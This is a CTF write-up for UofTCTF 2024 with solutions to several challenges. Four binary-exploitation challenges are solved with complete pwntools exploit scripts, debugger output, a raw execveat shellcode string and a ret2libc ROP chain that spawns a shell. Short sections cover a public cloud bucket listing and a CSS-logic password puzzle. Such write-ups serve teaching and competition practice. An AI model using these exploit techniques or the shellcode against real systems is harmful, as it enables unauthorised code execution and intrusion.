UofTCTF 2024
pwn/basic-overflow
Challenge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
This challenge is simple.
It just gets input, stores it to a buffer.
It calls gets to read input, stores the read bytes to a buffer, then exits.
What is gets, you ask? Well, it's time you read the manual, no?
man 3 gets
Cryptic message from author: There are times when you tell them something, but they don't reply. In those cases, you must try again. Don't just shoot one shot; sometimes, they're just not ready yet.
Author: drec
nc 34.123.15.202 5000
Attachment: basic-overflow
Solution
If you decompile the binary with ghidra we see that it does the following:
1
2
3
4
5
6
7
8
int main(void)
{
char buffer [64];
gets(buffer);
return 0;
}
This is a classic buffer overflow vulnerability which gives us the ability to redirect code execution. If we take a look at the functions present in the binary:
1
2
3
4
5
6
7
8
$ nm basic-overflow
0000000000404020 B __bss_start
...
0000000000401156 T main
0000000000401136 T shell
0000000000401050 T _start
0000000000404020 D __TMC_END__
$
we see a useful shell()
function, it obviously pops a shell for us
1
2
3
4
5
6
void shell(void)
{
execve("/bin/sh",(char **)0x0,(char **)0x0);
return;
}
Since the binary has no PIE
1
2
3
4
5
6
7
$ pwn checksec --file basic-overflow
[*] '/home/vulnx/Games/CTFs/UofT/pwn/basic-overflow/basic-overflow'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
we can hardcode the address of shell()
in our payload. Let’s quickly calculate the offset to RIP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
$ gdb ./basic-overflow -q
pwndbg> b * main +31
Breakpoint 1 at 0x401175
pwndbg> cyclic 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
pwndbg> run
Starting program: /home/vulnx/Games/CTFs/UofT/pwn/basic-overflow/basic-overflow
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Breakpoint 1, 0x0000000000401175 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────
RAX 0x0
*RBX 0x7fffffffdef8 —▸ 0x7fffffffe21b ◂— '/home/vulnx/Games/CTFs/UofT/pwn/basic-overflow/basic-overflow'
*RCX 0x7ffff7f958e0 (_IO_2_1_stdin_) ◂— 0xfbad2288
RDX 0x0
*RDI 0x7ffff7f97720 (_IO_stdfile_0_lock) ◂— 0x0
*RSI 0x4052a1 ◂— 'aaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\n'
*R8 0x405305 ◂— 0x0
R9 0x0
*R10 0x4
*R11 0x246
R12 0x0
*R13 0x7fffffffdf08 —▸ 0x7fffffffe259 ◂— 'ALACRITTY_LOG=/tmp/Alacritty-243368.log'
*R14 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2d0 ◂— 0x0
*R15 0x403df0 —▸ 0x401100 ◂— endbr64
*RBP 0x6161616161616169 ('iaaaaaaa')
*RSP 0x7fffffffdde8 ◂— 'jaaaaaaakaaaaaaalaaaaaaamaaa'
*RIP 0x401175 (main+31) ◂— ret
──────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────
► 0x401175 <main+31> ret <0x616161616161616a>
───────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdde8 ◂— 'jaaaaaaakaaaaaaalaaaaaaamaaa'
01:0008│ 0x7fffffffddf0 ◂— 'kaaaaaaalaaaaaaamaaa'
02:0010│ 0x7fffffffddf8 ◂— 'laaaaaaamaaa'
03:0018│ 0x7fffffffde00 ◂— 0x6161616d /* 'maaa' */
04:0020│ 0x7fffffffde08 —▸ 0x7fffffffdef8 —▸ 0x7fffffffe21b ◂— '/home/vulnx/Games/CTFs/UofT/pwn/basic-overflow/basic-overflow'
05:0028│ 0x7fffffffde10 —▸ 0x7fffffffdef8 —▸ 0x7fffffffe21b ◂— '/home/vulnx/Games/CTFs/UofT/pwn/basic-overflow/basic-overflow'
06:0030│ 0x7fffffffde18 ◂— 0x978d4bf91e909
07:0038│ 0x7fffffffde20 ◂— 0x0
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────
► 0 0x401175 main+31
1 0x616161616161616a
2 0x616161616161616b
3 0x616161616161616c
4 0x6161616d
5 0x7fffffffdef8
6 0x7fffffffdef8
7 0x978d4bf91e909
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x616161616161616a
Finding cyclic pattern of 8 bytes: b'jaaaaaaa' (hex: 0x6a61616161616161)
Found at offset 72
so the offset is 72. Let’s make a simple payload to write 72 bytes to fill up the buffer + address of shell()
to redirect RIP to it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pwn
p64 = lambda x : pwn.pack(x, word_size=64)
elf = pwn.ELF('./basic-overflow', checksec=False)
p = pwn.remote('34.123.15.202', 5000)
offset = 72
payload = b''
payload += b'A' * offset
payload += p64(elf.symbols['shell'])
p.sendline(payload)
p.interactive()
1
2
3
4
5
6
7
8
> python solve.py
[+] Opening connection to 34.123.15.202 on port 5000: Done
[*] Switching to interactive mode
$ ls
flag
run
$ cat flag
uoftctf{reading_manuals_is_very_fun}
Flag
uoftctf{reading_manuals_is_very_fun}
pwn/baby-shellcode
Challenge
1
2
3
4
5
6
7
8
9
10
11
12
This challenge is a test to see if you know how to write programs that machines can understand.
Oh, you know how to code?
Write some code into this program, and the program will run it for you.
What programming language, you ask? Well... I said it's the language that machines can understand.
Author: drec
nc 34.28.147.7 5000
Attachment: baby-shellcode
Solution
Since ghidra doesn’t provide sensible decompilation for this program, its better to have a look at its disassembly:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ objdump -M intel -d baby-shellcode
baby-shellcode: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: 48 81 ec 00 04 00 00 sub rsp,0x400
401007: ba 00 04 00 00 mov edx,0x400
40100c: 48 89 e6 mov rsi,rsp
40100f: bf 00 00 00 00 mov edi,0x0
401014: b8 00 00 00 00 mov eax,0x0
401019: 0f 05 syscall
40101b: ff e4 jmp rsp
If you know basic assembly, this is a standard subroutine to take 0x400
bytes input from stdin
and store it in $rsp-0x400
:
1
2
3
4
5
6
sub rsp,0x400
mov edx,0x400
mov rsi,rsp
mov edi,0x0
mov eax,0x0
syscall
and jmp rsp
will attempt to execute the input. By injecting the necessary machine codes when prompted for input, we can leverage the program to open a shell. We can handcraft the shellcode manually or some use common ones from Shell-Storm. Since this is a x86_64
Linux executable, we need to use a shellcode of the same architecture
1
2
$ file baby-shellcode
baby-shellcode: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
I used Linux/x86-64 - execveat(“/bin//sh”) - 29 bytes by ZadYree, vaelio and DaShrooms ( thanks ) So here is the final solve script:
1
2
3
4
5
6
import pwn
p = pwn.remote('34.28.147.7', 5000)
shellcode = b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
p.sendline(shellcode)
p.interactive()
1
2
3
4
5
6
7
8
> python solve.py
[+] Opening connection to 34.28.147.7 on port 5000: Done
[*] Switching to interactive mode
$ ls
flag
run
$ cat flag
uoftctf{arbitrary_machine_code_execution}
Flag
uoftctf{arbitrary_machine_code_execution}
pwn/patched-shell
Challenge
1
2
3
4
5
6
7
8
9
10
Okay, okay. So you were smart enough to do basic overflow huh...
Now try this challenge! I patched the shell function so it calls system instead of execve... so now your exploit shouldn't work! bwahahahahaha
Note: due to the copycat nature of this challenge, it suffers from the same bug that was in basic-overflow. see the cryptic message there for more information.
Author: drec
nc 34.134.173.142 5000
Attachment: patched-shell
Solution
As the description says, the only difference between this challenge and basic-overflow
is that the shell()
function here uses system()
to spawn a shell instead of execve()
. If you try to run the previous exploit against the binary, you will see it fails:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
$ cat prev.py
import pwn
p64 = lambda x : pwn.pack(x, word_size=64)
elf = pwn.ELF('./patched-shell', checksec=False)
offset = 72
payload = b''
payload += b'A' * offset
payload += p64(elf.symbols['shell'])
with open('payload', 'wb') as f:
f.write(payload)
$ python prev.py
$ gdb ./patched-shell -q
pwndbg> run < payload
Starting program: /home/vulnx/Games/CTFs/UofT/pwn/patched-shell/patched-shell < payload
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e0c44b in do_system (line=0x402004 "/bin/sh") at ../sysdeps/posix/system.c:148
148 (char *const[]){ (char *) SHELL_NAME,
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────
*RAX 0x7ffff7f9d078 (environ) —▸ 0x7fffffffdeb8 —▸ 0x7fffffffe207 ◂— 'ALACRITTY_LOG=/tmp/Alacritty-521067.log'
*RBX 0x7fffffffdc08 ◂— 0xc /* '\x0c' */
*RCX 0x7fffffffdc08 ◂— 0xc /* '\x0c' */
RDX 0x0
*RDI 0x7fffffffd9f4 ◂— 0xffffda6800000000
*RSI 0x7ffff7f57e34 ◂— 0x68732f6e69622f /* '/bin/sh' */
*R8 0x7fffffffda38 ◂— 0x656d61472f786e6c ('lnx/Game')
*R9 0x7fffffffdeb8 —▸ 0x7fffffffe207 ◂— 'ALACRITTY_LOG=/tmp/Alacritty-521067.log'
*R10 0x8
*R11 0x246
*R12 0x402004 ◂— 0x68732f6e69622f /* '/bin/sh' */
*R13 0x7fffffffdeb8 —▸ 0x7fffffffe207 ◂— 'ALACRITTY_LOG=/tmp/Alacritty-521067.log'
*R14 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2d0 ◂— 0x0
*R15 0x403df0 —▸ 0x401100 ◂— endbr64
*RBP 0x7fffffffda68 ◂— 0x0
*RSP 0x7fffffffd9e8 —▸ 0x7fffffffda60 —▸ 0x4052a0 ◂— 0x4141414141414141 ('AAAAAAAA')
*RIP 0x7ffff7e0c44b (do_system+363) ◂— movaps xmmword ptr [rsp + 0x50], xmm0
──────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────
► 0x7ffff7e0c44b <do_system+363> movaps xmmword ptr [rsp + 0x50], xmm0
0x7ffff7e0c450 <do_system+368> call posix_spawn <posix_spawn>
0x7ffff7e0c455 <do_system+373> mov rdi, rbx
0x7ffff7e0c458 <do_system+376> mov r12d, eax
0x7ffff7e0c45b <do_system+379> call posix_spawnattr_destroy <posix_spawnattr_destroy>
0x7ffff7e0c460 <do_system+384> test r12d, r12d
0x7ffff7e0c463 <do_system+387> je do_system+632 <do_system+632>
0x7ffff7e0c469 <do_system+393> mov dword ptr [rsp + 8], 0x7f00
0x7ffff7e0c471 <do_system+401> xor eax, eax
0x7ffff7e0c473 <do_system+403> mov edx, 1
0x7ffff7e0c478 <do_system+408> lock cmpxchg dword ptr [rip + 0x18b060], edx <lock>
───────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────────────
In file: /home/vulnx/.cache/debuginfod_client/8bfe03f6bf9b6a6e2591babd0bbc266837d8f658/source##usr##src##debug##glibc##glibc##stdlib##..##sysdeps##posix##system.c
143 __posix_spawnattr_setsigdefault (&spawn_attr, &reset);
144 __posix_spawnattr_setflags (&spawn_attr,
145 POSIX_SPAWN_SETSIGDEF | POSIX_SPAWN_SETSIGMASK);
146
147 ret = __posix_spawn (&pid, SHELL_PATH, 0, &spawn_attr,
► 148 (char *const[]){ (char *) SHELL_NAME,
149 (char *) "-c",
150 (char *) "--",
151 (char *) line, NULL },
152 __environ);
153 __posix_spawnattr_destroy (&spawn_attr);
───────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd9e8 —▸ 0x7fffffffda60 —▸ 0x4052a0 ◂— 0x4141414141414141 ('AAAAAAAA')
01:0008│ rdi-4 0x7fffffffd9f0 ◂— 0xffffffff
02:0010│-070 0x7fffffffd9f8 —▸ 0x7fffffffda68 ◂— 0x0
03:0018│-068 0x7fffffffda00 —▸ 0x7fffffffdab0 ◂— 0x30 /* '0' */
04:0020│-060 0x7fffffffda08 —▸ 0x7ffff7fcae88 ◂— 0x31700
05:0028│-058 0x7fffffffda10 —▸ 0x7fffffffda68 ◂— 0x0
06:0030│-050 0x7fffffffda18 —▸ 0x7ffff7fcae88 ◂— 0x31700
07:0038│-048 0x7fffffffda20 ◂— 0x0
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────
► 0 0x7ffff7e0c44b do_system+363
1 0x401149 shell+19
2 0x7fffffffde00
3 0x40114c main
4 0x100400040
5 0x7fffffffdea8
6 0x7fffffffdea8
7 0x4e1a419aff9ed7a8
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
It causes a Segmentation Fault at ► 0x7ffff7e0c44b <do_system+363> movaps xmmword ptr [rsp + 0x50], xmm0
. This is a well known issue of stack misalignment.
Read more about stack alignment here
Basically since we returned-into or jumped-into the shell()
function instead of calling it, the stack isn’t 16-bit aligned anymore. This didn’t affect execve
but it does cause system
to crash. The workaround is simple, return to a ret
instruction before returning to shell()
, this will cause the stack to be 16-bit aligned and system
will work correctly. Here’s the final solve script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pwn
p64 = lambda x : pwn.pack(x, word_size=64)
elf = pwn.ELF('./patched-shell', checksec=False)
# p = pwn.process('./patched-shell')
p = pwn.remote('34.134.173.142', 5000)
offset = 72
payload = b''
payload += b'A' * offset
payload += p64(elf.symbols['shell']+21)
payload += p64(elf.symbols['shell'])
p.sendline(payload)
p.interactive()
elf.symbols['shell']+21
points to the finalret
instruction ofshell()
function itself, you can choose any otherret
if you wish.
1
2
3
4
5
6
7
8
> python solve.py
[+] Opening connection to 34.134.173.142 on port 5000: Done
[*] Switching to interactive mode
$ ls
flag
run
$ cat flag
uoftctf{patched_the_wrong_function}
Flag
uoftctf{patched_the_wrong_function}
pwn/nothing-to-return
Challenge
1
2
3
4
5
6
7
8
9
10
Now this challenge has a binary of a very small size.
"The binary has no useful gadgets! There is just nothing to return to!"
nice try... ntr
Author: drec
nc 34.30.126.104 5000
Attachment: ld-linux-x86-64.so.2 libc.so.6 nothing-to-return
Solution
Before proceeding with anything, it is a good practice to patch the binary so that it uses the provided libc
and loader
instead of the default ones from system. This is done to avoid making 2 separate exploits:
- one for local environment
- other for the remote environment
to patch the binary I used pwninit:
1
$ pwninit
Now we can start with reverse engineering. Ghidra decompiler shows the following source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
int main(EVP_PKEY_CTX *param_1)
{
char buffer [64];
init(param_1);
printf("printf is at %p\n",printf);
puts("Hello give me an input");
get_input(buffer);
puts("I\'m returning the input:");
puts(buffer);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void get_input(void *buffer)
{
size_t max_size;
char *input;
puts("Input size:");
__isoc99_scanf("%lu[^\n]",&max_size);
input = (char *)calloc(1,max_size);
fgets(input,(int)max_size,stdin);
puts("Enter your input:");
fgets(input,(int)max_size,stdin);
memcpy(buffer,input,max_size);
free(input);
return;
}
Since we are using a secure implementation of fgets
there is no buffer overflow in case of input
but if you give the input size as anything greater than 64 ( size of buffer
) then memcpy will copy all of that into the 64 byte buffer, thus overflowing it and allowing us to control the return pointer. However, this time we don’t have a special shell()
function to help us, so we have to manually do that by constructing a ROP chain:
1
2
3
4
pop rdi ; ret
pointer to /bin/sh
ret // to fix stack misalignment
address of system()
For that we need gadgets, but the provided binary doesn’t have anything useful
1
2
3
4
5
$ ROPgadget --binary nothing-to-return_patched | grep "pop"
0x000000000040117b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401176 : mov byte ptr [rip + 0x2eeb], 1 ; pop rbp ; ret
0x000000000040128c : nop ; pop rbp ; ret
0x000000000040117d : pop rbp ; ret
So we need to rely on libc
to provide gadgets. However since ASLR
is enabled the addresses will change and we cannot hardcode them in the solve script. To fix this we need to calculate the libc
base at runtime and use that to calculate subsequent gadgets. To find the libc
base, we can utilize the leak: printf("printf is at %p\n",printf);
. So finally here is the solve script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import pwn
p64 = lambda x : pwn.pack(x, word_size=64)
libc = pwn.ELF('./libc.so.6', checksec=False)
# p = pwn.process('./nothing-to-return_patched')
p = pwn.remote('34.30.126.104', 5000)
p.recvuntil(b'0x')
libc_leak = int( p.recvline(), 16 )
libc_base = libc_leak - libc.symbols['printf']
rop = pwn.ROP(libc)
offset = 72
payload = b''
payload += b'A' * offset
payload += p64( libc_base + rop.find_gadget(['pop rdi', 'ret']).address )
payload += p64( libc_base + next(libc.search(b'/bin/sh\x00')) )
payload += p64( libc_base + rop.find_gadget(['ret']).address )
payload += p64( libc_base + libc.symbols['system'] )
p.sendlineafter(b'Input size:\n', str(len(payload) + 1).encode())
p.sendlineafter(b'Enter your input:\n', payload)
p.clean()
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
> python solve.py
[+] Opening connection to 34.30.126.104 on port 5000: Done
[*] Loaded 216 cached gadgets for './libc.so.6'
[*] Switching to interactive mode
$ ls
flag
ld-linux-x86-64.so.2
libc.so.6
run
$ cat flag
uoftctf{you_can_always_return}
Flag
uoftctf{you_can_always_return}
misc/Out of the Bucket
Challenge
1
2
3
4
5
Check out my flag website!
Author: windex
https://storage.googleapis.com/out-of-the-bucket/src/index.html
Solution
On visiting the given URL we see 2 real country flags. Viewing the page source code doesn’t reveal anything useful. However its worth nothing that we are at /src/index.html
, what happens if we go to the root of the app at https://storage.googleapis.com/out-of-the-bucket
, we get the following XML:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<ListBucketResult
xmlns="http://doc.s3.amazonaws.com/2006-03-01">
<Name>out-of-the-bucket</Name>
<Prefix/>
<Marker/>
<IsTruncated>false</IsTruncated>
<Contents>
<Key>secret/</Key>
<Generation>1703868492595821</Generation>
<MetaGeneration>1</MetaGeneration>
<LastModified>2023-12-29T16:48:12.634Z</LastModified>
<ETag>"d41d8cd98f00b204e9800998ecf8427e"</ETag>
<Size>0</Size>
</Contents>
<Contents>
<Key>secret/dont_show</Key>
<Generation>1703868647771911</Generation>
<MetaGeneration>1</MetaGeneration>
<LastModified>2023-12-29T16:50:47.809Z</LastModified>
<ETag>"737eb19c7265186a2fab89b5c9757049"</ETag>
<Size>29</Size>
</Contents>
<Contents>
<Key>secret/funny.json</Key>
<Generation>1705174300570372</Generation>
<MetaGeneration>1</MetaGeneration>
<LastModified>2024-01-13T19:31:40.607Z</LastModified>
<ETag>"d1987ade72e435073728c0b6947a7aee"</ETag>
<Size>2369</Size>
</Contents>
<Contents>
<Key>src/</Key>
<Generation>1703867253127898</Generation>
<MetaGeneration>1</MetaGeneration>
<LastModified>2023-12-29T16:27:33.166Z</LastModified>
<ETag>"d41d8cd98f00b204e9800998ecf8427e"</ETag>
<Size>0</Size>
</Contents>
<Contents>
<Key>src/index.html</Key>
<Generation>1703867956175503</Generation>
<MetaGeneration>1</MetaGeneration>
<LastModified>2023-12-29T16:39:16.214Z</LastModified>
<ETag>"dc63d7225477ead6f340f3057263643f"</ETag>
<Size>1134</Size>
</Contents>
<Contents>
<Key>src/static/antwerp.jpg</Key>
<Generation>1703867372975107</Generation>
<MetaGeneration>1</MetaGeneration>
<LastModified>2023-12-29T16:29:33.022Z</LastModified>
<ETag>"cef4e40eacdf7616f046cc44cc55affc"</ETag>
<Size>45443</Size>
</Contents>
<Contents>
<Key>src/static/guam.jpg</Key>
<Generation>1703867372954729</Generation>
<MetaGeneration>1</MetaGeneration>
<LastModified>2023-12-29T16:29:32.993Z</LastModified>
<ETag>"f6350c93168c2955ceee030ca01b8edd"</ETag>
<Size>48805</Size>
</Contents>
<Contents>
<Key>src/static/style.css</Key>
<Generation>1703867372917610</Generation>
<MetaGeneration>1</MetaGeneration>
<LastModified>2023-12-29T16:29:32.972Z</LastModified>
<ETag>"0c12d00cc93c2b64eb4cccb3d36df8fd"</ETag>
<Size>76559</Size>
</Contents>
</ListBucketResult>
The path secret/dont_show
is what caught my attention, so on visiting that page https://storage.googleapis.com/out-of-the-bucket/secret/dont_show
we are able to download a file called dont_show
which has our flag:
1
2
$ curl https://storage.googleapis.com/out-of-the-bucket/secret/dont_show
uoftctf{allUsers_is_not_safe}
Flag
uoftctf{allUsers_is_not_safe}
Reverse Engineering/CSS Password
Challenge
1
2
3
4
5
6
7
8
My web developer friend said JavaScript is insecure so he made a password vault with CSS. Can you find the password to open the vault?
Wrap the flag in uoftctf{}
Make sure to use a browser that supports the CSS :has selector, such as Firefox 121+ or Chrome 105+. The challenge is verified to work for Firefox 121.0.
Author: notnotpuns
Attachment: css-password.html
Solution
This was definitely a fun challenge. The webpage looks like this: We have 19 bytes (length of the flag), each byte has 8 switches which represent the 8 bits of a bite. The switches can have 2 states:
- set - 1
- reset - 0
when the correct state is chosen for all bits the LEDs turn green. Our goal is to find that correct combination. From what I understand, all the LEDs are inherently green, but exactly above them are placed multiple layers of red LEDs. If a correct bit state is chosen, one of these overlaying red LEDs is removed, eventually when all bits are in correct state, all of the overlaying red LEDs will be removed, leaving behind the original green LEDs. Here is how they use CSS to handle the logic:
1
2
3
4
5
6
7
8
9
10
11
/* LED1 */
/* b1_7_l1_c1 */
.wrapper:has(.byte:nth-child(1) .latch:nth-child(7) .latch__reset:active) .checker:nth-of-type(2) .checker__state:nth-child(1) {
transform: translateX(0%);
transition: transform 0s;
}
.wrapper:has(.byte:nth-child(1) .latch:nth-child(7) .latch__set:active) .checker:nth-of-type(2) .checker__state:nth-child(1) {
transform: translateX(-100%);
transition: transform 0s;
}
This tells us that if the 7th bit of the 1st byte is reset then the red LED layer will stay there, whereas if the bit is set then the LED layer is removed translateX(-100%)
Manually setting each bit is time consuming and not feasible so I wrote a simple python script to find the required state of each bit, represent them by corresponding 0/1 digit, and convert that to ASCII text.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import re
with open('css-password.html') as f:
html = f.read()
# Use regex to find the bits data
data = re.findall('.wrapper:has\(.byte:nth-child\((\d+)\) .latch:nth-child\((\d+)\) .latch__(\w+):active\) .checker:nth-of-type\(\d+\) .checker__state:nth-child\(\d+\) {\n\s+transform: translateX\(-100%\);', html)
# Sort them byte wise
data = sorted(data, key=lambda x : int(x[0]))
# Sort all bits in individual bytes
data_copy = data
data = []
for i in range(0, len(data_copy), 8):
data.append(data_copy[i:i+8])
for idx, byte in enumerate(data):
sorted_byte = sorted(byte, key=lambda x : int(x[1]))
data[idx] = sorted_byte
data = [ bit for byte in data for bit in byte ]
# Convert the set/reset combination to 1/0 respectively
binary = ''.join( '1' if bit[2] == 'set' else '0' for bit in data )
# Convert binary to ascii and print the flag
flag = ''.join( chr(int(binary[i:i+8], 2)) for i in range(0, len(binary), 8) )
flag = 'uoftctf{' + flag + '}'
print(flag)
Not the most efficient way, but it works
1
2
$ python solve.py
uoftctf{CsS_l0g1c_is_fun_3h}
Flag
uoftctf{CsS_l0g1c_is_fun_3h}